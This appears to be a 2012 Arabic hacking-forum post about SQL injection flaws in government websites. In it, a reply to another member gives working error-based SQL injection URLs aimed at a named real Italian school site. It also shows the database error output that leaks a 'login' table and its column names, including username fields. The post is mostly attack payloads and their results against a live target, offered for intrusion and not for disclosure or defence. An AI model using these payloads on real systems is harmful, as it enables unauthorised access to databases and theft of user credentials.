 | اقتباس |  | | |  |  المشاركة الأصلية كتبت بواسطة qasim |  | | | | | | | | | اخي الكريم اعتقد طريقتك في الحقن لم تظهر الاعمدة | |  | |  | |
كود PHP:
http://www.itcpantaleo.gov.it/webschool3/page.php?id=26%20and%20extractvalue%28rand%28%29,concat%280x3a,%28select%20substr%28group_concat%28table_name%29,1,150%29%20from%20information_schema.columns%20where%20table_schema%20like%20database%28%29%20and%20column_name%20like%200x257061737325%29%29%29--
errore query
XPATH syntax error: ':login' SELECT * FROM pagine_istituzionali WHERE id=26 and extractvalue(rand(),concat(0x3a,(select substr(group_concat(table_name),1,150) from information_schema.columns where table_schema like database() and column_name like 0x257061737325)))--
كود PHP:
http://www.itcpantaleo.gov.it/webschool3/page.php?id=26%20and%20extractvalue%28rand%28%29,concat%280x3a,%28select%20substr%28group_concat%28column_name%29,1,150%29%20from%20information_schema.columns%20where%20table_schema%20like%20database%28%29%20and%20table_name%20like%200x6c6f67696e%29%29%29--
XPATH syntax error: ':id,nome,cognome,username,locks,' SELECT * FROM pagine_istituzionali WHERE id=26 and extractvalue(rand(),concat(0x3a,(select substr(group_concat(column_name),1,150) from information_schema.columns where table_schema like database() and table_name like 0x6c6f67696e)))--
05-26-2012, 02:40 PM
رد: موقعين حكوميه gov مصآبه بثغرة SQL 
العرض المتطور
